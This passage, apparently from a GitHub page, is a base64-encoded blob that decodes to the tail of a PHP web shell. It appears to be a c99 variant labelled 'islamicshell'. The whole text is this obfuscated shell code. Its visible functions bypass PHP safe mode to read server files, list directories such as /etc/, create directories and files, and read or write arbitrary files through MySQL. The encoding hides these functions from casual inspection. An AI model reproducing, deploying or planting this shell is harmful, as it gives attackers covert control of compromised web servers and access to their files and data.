IEdldCBGaWxlIDxmb250IGNvbG9yPSMwMDAwOTk+PGI+JGdldDwvYj48L2ZvbnQ+PGJyPiI7DQogICAgaWYoY29weSgiY29tcHJlc3MuemxpYjovLyIuJGZpbGUsICR0ZW1wKSl7DQogICAgJGZpY2hpZXIgPSBmb3BlbigkdGVtcCwgInIiKTsNCiAgICAkYWN0aW9uID0gZnJlYWQoJGZpY2hpZXIsIGZpbGVzaXplKCR0ZW1wKSk7DQogICAgZmNsb3NlKCRmaWNoaWVyKTsNCiAgICAkc291cmNlPWh0bWxzcGVjaWFsY2hhcnMoJGFjdGlvbik7DQogICAgZWNobyAiPGRpdiBjbGFzcz1cInNoZWxsXCI+PGI+U3RhcnQgJGdldDwvYj48YnI+PGJyPjxmb250IGNvbG9yPVwid2hpdGVcIj4kc291cmNlPC9mb250Pjxicj48Yj48YnI+RmluIDxmb250IGNvbG9yPSMwMDAwOTk+JGdldDwvZm9udD48L2I+IjsNCiAgICB1bmxpbmsoJHRlbXApOw0KICAgIH0gZWxzZSB7DQogICAgZGllKCI8Rk9OVCBDT0xPUj1cIlJFRFwiPjxDRU5URVI+U29ycnkuLi4gRmlsZQ0KICAgIDxCPiIuaHRtbHNwZWNpYWxjaGFycygkZmlsZSkuIjwvQj4gZG9zZW4ndCBleGlzdHMgb3IgeW91IGRvbid0IGhhdmUNCiAgICBhY2Nlc3MuPC9DRU5URVI+PC9GT05UPiIpOw0KICAgICAgICAgICAgfQ0KICAgIGVjaG8gIjwvZGl2PiI7DQogICAgfSANCiAgICAgDQogICAgaWYoaXNzZXQoJF9HRVRbJ2ZpbGUnXSkpDQp7DQpyc2dfcmVhZCgpOw0KfSANCiAgICAgDQogICAgPz4gDQogICAgIA0KICAgIDw/IA0KICAgICANCiAgICBmdW5jdGlvbiByc2dfZ2xvYigpDQp7DQokY2hlbWluPSRfR0VUWydkaXJlY3RvcnknXTsNCiRmaWxlcyA9IGdsb2IoIiRjaGVtaW4qIik7DQplY2hvICJUcnlpbmcgVG8gTGlzdCBGb2xkZXIgPGZvbnQgY29sb3I9IzAwMDA5OT48Yj4kY2hlbWluPC9iPjwvZm9udD48YnI+IjsNCmZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZW5hbWUpIHsNCiAgICBlY2hvICI8cHJlPiI7DQogICBlY2hvICIkZmlsZW5hbWVcbiI7DQogICBlY2hvICI8L3ByZT4iOw0KfQ0KfSANCg0KaWYoaXNzZXQoJF9HRVRbJ2RpcmVjdG9yeSddKSkNCnsNCnJzZ19nbG9iKCk7DQp9IA0KDQo/PiANCg0KDQoNCg0KICAgICAgICAgPGJyPiANCiAgICAgIDwvZGl2PiANCiAgICA8L2Zvcm0+IA0KICAgIDwvdGQ+IA0KICA8dGQgd2lkdGg9IjQ5JSIgaGVpZ2h0PSI4MyIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+IA0KICAgPGNlbnRlcj5QaHAgU2FmZS1Nb2RlIEJ5cGFzcyAoTGlzdCBEaXJlY3Rvcmllcyk6ICAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4gDQogICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPjxicj4gDQogICAgICAJRGlyOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlyZWN0b3J5IiBtZXRob2Q9ImdldCI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMaXN0IERpcmVjdG9yeSI+PGJyPjxicj4gDQoJCWVnOiAvZXRjLzxicj4gDQoNCiAgICA8L2Zvcm0+PC9jZW50ZXI+IA0KICAgIDwvdGQ+IA0KPC90cj48L1RBQkxFPjxicj4gDQo8YnI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxIiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMDAzMzAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+DQoJCQk6OiBNYWtlIERpciA6OjwvYj48Zm9ybSBvbnN1Ym1pdD0nKHRoaXMpJyBtZXRob2Q9Ijw/IGVjaG8gJGFjdGlvbl9tZXRob2Q7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Im1rZGlyIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1rZGlyIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJDcmVhdGUiPjxicj48P3BocCBlY2hvICR3ZHQ7ID8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+DQoJCQk6OiBNYWtlIEZpbGUgOjo8L2I+PGZvcm0gb25zdWJtaXQ9Jyh0aGlzKScgbWV0aG9kPSI8PyBlY2hvICRhY3Rpb25fbWV0aG9kOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJta2ZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWtmaWxlIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImZ0IiB2YWx1ZT0iZWRpdCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJDcmVhdGUiPjxicj48P3BocCBlY2hvICR3ZHQ7ID8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPg0KPGJyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0iMSIgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzAwMzMwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPg0KCQkJOjogR28gRGlyIDo6PC9iPjxmb3JtIG9uc3VibWl0PScodGhpcyknIG1ldGhvZD0iPD8gZWNobyAkYWN0aW9uX21ldGhvZDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ibHMiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJHbyI+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+DQoJCQk6OiBHbyBGaWxlIDo6PC9iPjxmb3JtIG9uc3VibWl0PScodGhpcyknIG1ldGhvZD0iPD8gZWNobyAkYWN0aW9uX21ldGhvZDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iZ29maWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+DQoNCjxicj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjEiIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMwMDMzMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPg0KDQo8dHI+DQo8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiBSZWFkIEZpbGUgdXNpbmcgTXlTUUwgOjo8L2I+DQo8Zm9ybSBvbnN1Ym1pdD0nKHRoaXMpJyBtZXRob2Q9Ijw/IGVjaG8gJGFjdGlvbl9tZXRob2Q7ID8+Ij4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0icm15c3FsIj4NCg0KPHRhYmxlPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0iI0ZGRkZGRiI+RmlsZV9QYXRoPC9mb250Pjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0IiBzaXplPSIzMCIgbmFtZT0ibW15ZmlsZSIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9IiNGRkZGRkYiPkRCX0hvc3Q8L2ZvbnQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXQiIHNpemU9IjMwIiBuYW1lPSJtbXlob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ij48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0iI0ZGRkZGRiI+REJfTmFtZTwvZm9udD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dCIgc2l6ZT0iMzAiIG5hbWU9Im1teWRiIiB2YWx1ZT0iIj48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0iI0ZGRkZGRiI+REJfVXNlcjwvZm9udD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dCIgc2l6ZT0iMzAiIG5hbWU9Im1teXVzZXIiIHZhbHVlPSIiPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSIjRkZGRkZGIj5EQl9QYXNzPC9mb250Pjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJpbnB1dCIgc2l6ZT0iMzAiIG5hbWU9Im1teXBhc3MiIHZhbHVlPSIiPjwvdHI+DQo8dHI+PHRkPjwvdGQ+PHRkIGFsaWduPXJpZ2h0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBSZWFkICAiPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9jZW50ZXI+DQoNCg0KDQoNCg0KPC90ZD4NCjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPjo6IFdyaXRlIEZpbGUgdXNpbmcgTXlTUUwgOjo8L2I+DQo8Zm9ybSBvbnN1Ym1pdD0nKHRoaXMpJyBtZXRob2Q9Ijw/IGVjaG8gJGFjdGlvbl9tZXRob2Q7ID8+Ij4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0id215c3FsIj4NCg0KPHRhYmxlPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0iI0ZGRkZGRiI+RmlsZV9QYXRoPC9mb250Pjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0IiBzaXplPSIzMCIgbmFtZT0ibW15ZmlsZSIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9IiNGRkZGRkYiPkZpbGVfQ29udGVudDwvZm9udD48dGQ+PHRleHRhcmVhIGNsYXNzPSJpbnB1dCIgY29scz0iMzAiIHJvd3M9IjMiIG5hbWU9Im1teWNvbiI+PC90ZXh0YXJlYT48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0iI0ZGRkZGRiI+REJfVXNlcjwvZm9udD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dCIgc2l6ZT0iMzAiIG5hbWU9Im1teXVzZXIiIHZhbHVlPSIiPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSIjRkZGRkZGIj5EQl9QYXNzPC9mb250Pjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJpbnB1dCIgc2l6ZT0iMzAiIG5hbWU9Im1teXBhc3MiIHZhbHVlPSIiPjwvdHI+DQo8dHI+PHRkPjwvdGQ+PHRkIGFsaWduPXJpZ2h0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBXcml0ZSAgIj48L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCjwvY2VudGVyPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8YnI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTAgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzAwMzMwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD0iOTkwIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48cCBhbGlnbj0iY2VudGVyIj48Yj4tLVsgaXNsYW1pY3NoZWxsICA8P3BocCBlY2hvICRzaHZlcjsgPz48YSBocmVmPSIjIiBPbkNsaWNrPSJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nYWJvdXQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7Ij48dT4gbW9kZWQgQlkgPC9iPjxiPmFuZ2U3ODwvdT48L2I+IDwvYT58IDxhIGhyZWY9Imh0dHA6Ly90cnlhZy5jb20iPjxmb250IGNvbG9yPSIjRkYwMDAwIj5odHRwOi8vdHJ5YWcuY29tPC9mb250PjwvYT48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+PC9mb250PiB8IEdlbmVyYXRpb24gdGltZTogPD9waHAgZWNobyByb3VuZChnZXRtaWNyb3RpbWUoKS1zdGFydHRpbWUsNCk7ID8+IF0tLTwvYj48L3A+PC90ZD48L3RyPjwvdGFibGU+DQo8L2JvZHk+PC9odG1sPjw/cGhwIGNoZGlyKCRsYXN0ZGlyKTsgYzk5c2hleGl0KCk7DQo="));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment